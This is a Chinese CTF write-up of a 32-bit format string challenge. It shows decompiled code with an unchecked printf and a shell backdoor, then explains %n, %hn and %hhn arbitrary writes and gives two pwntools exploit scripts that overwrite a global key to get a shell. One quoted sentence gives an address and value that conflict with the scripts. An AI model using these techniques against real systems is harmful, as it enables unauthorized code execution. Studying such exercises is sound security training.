UNCTF 练习场 格式化字符串漏洞 Coverme Writeup

注意
本文最后更新于 2024-02-11,文中内容可能已过时。

checksec 发现无 PIE。 那么直接拖入 IDA 看一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+Ch] [ebp-40Ch]
  unsigned int v5; // [esp+40Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("I like You, But....what's your name?");
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  fgets(&s, 0x400, stdin);
  printf(&s);
  if ( key == 0x5201314 )
    getshell();
  else
    puts(" But I just like You.");
  return 0;
}

可以看到 fgets 读入 0x400,而 s 数组也正好是 0x400,不存在溢出。 但是通过 fgets 读入的字符串,直接传入的 printf,这里就出现了格式化字符串漏洞。 然后可以看到这个 getshell 函数

1
2
3
4
5
int getshell()
{
    system("/bin/sh");
    return 0;
}

很简单的一个后门函数,所以说只要我们的 key 值为 0x5201314 就可以实现题目所需了。 找到 key 值的地址是,0x0804A030,而且是可以写入的地址。 那么我们怎么样利用 printf 进行写入呢? 我们可以注意到**%n**这个东西,这个东西的作用是将直接所有输出的内容的个数输入到相应参数的位置,注意:相应参数的位置,这个位置传入的是指针,也就和 scanf 的参数类似。 所以说我们的 payload 就是类似于 AAAA%85988112c%7$n 1.其中 AAAA 的位置就是要修改的指针的位置,要说明的是,这个程序是 32 位所以是 4 个字节,如果是 64 位,那就是 8 个字节。 2.%7$n 这个的意思是,往后移动 7 个参数,正好是对应了 AAAA 的位置,这个通过调试可以得到。然后对应的 %n 也要改成 $n。 3.%85988112c,也就是相当于输出了 85988112 个字节,这个数字是(0x5201314 - 4),4 是因为我们 AAAA 的这个地址长度为 4。 但是这样写完 payload 发送之后发现直接卡死了,原因就是因为 85988112 这个长度过大,当网络不好的时候就会卡死。

这时候我们可以利用一个小技巧。 其中 %hn 代表写入 2 个字节,%hhn 代表写入 1 个字节。 这里我们可以写入 0x0520 和 0x1314,或者 0x05 0x20 0x13 0x14。 这里我们要注意 1.输出的字符依次增加,所以要修改的字节内容也应该依次增加。比如修改的正确顺序应该是,0x05 0x13 0x14 0x20。 所以我们可以考虑构造 %hn 的利用。

1
2
3
4
5
6
7
from pwn import *
#r = process('./coverme')
r = remote("120.79.17.251", 10011)
payload = p32(0x0804A032) + p32(0x0804A030) + "%" + str(0x520 - 8) + "c%7$hn" + "%" + str(0x1314 - 0x520) + "c%8$hn"
#gdb.attach(r)
r.sendlineafter("name?", payload)
r.interactive()

2020.11.17 补充 格式化字符串漏洞还可以利用 pwntools 自带的 fmtstr_payload 来写入。 而且使用非常简单 fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’) 第一个参数表示格式化字符串的偏移; 第二个参数表示需要利用 %n 写入的数据,采用字典形式,我们要将 printf 的 GOT 数据改为 system 函数地址,就写成{printfGOT: systemAddress};本题是将 0804a048 处改为 0x2223322 第三个参数表示已经输出的字符个数,这里没有,为 0,采用默认值即可; 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着 hhn、hn 和 n,默认值是 byte,即按 hhn 写。 fmtstr_payload 函数返回的就是 payload 来自:https://blog.csdn.net/weixin_43092232/article/details/105647076

1
2
3
4
5
6
from pwn import *
r = process('./coverme')
#r = remote("120.79.17.251", 10011)
payload = fmtstr_payload(7, {0x0804A030: 0x5201314})
r.sendlineafter("name?", payload)
r.interactive()
0%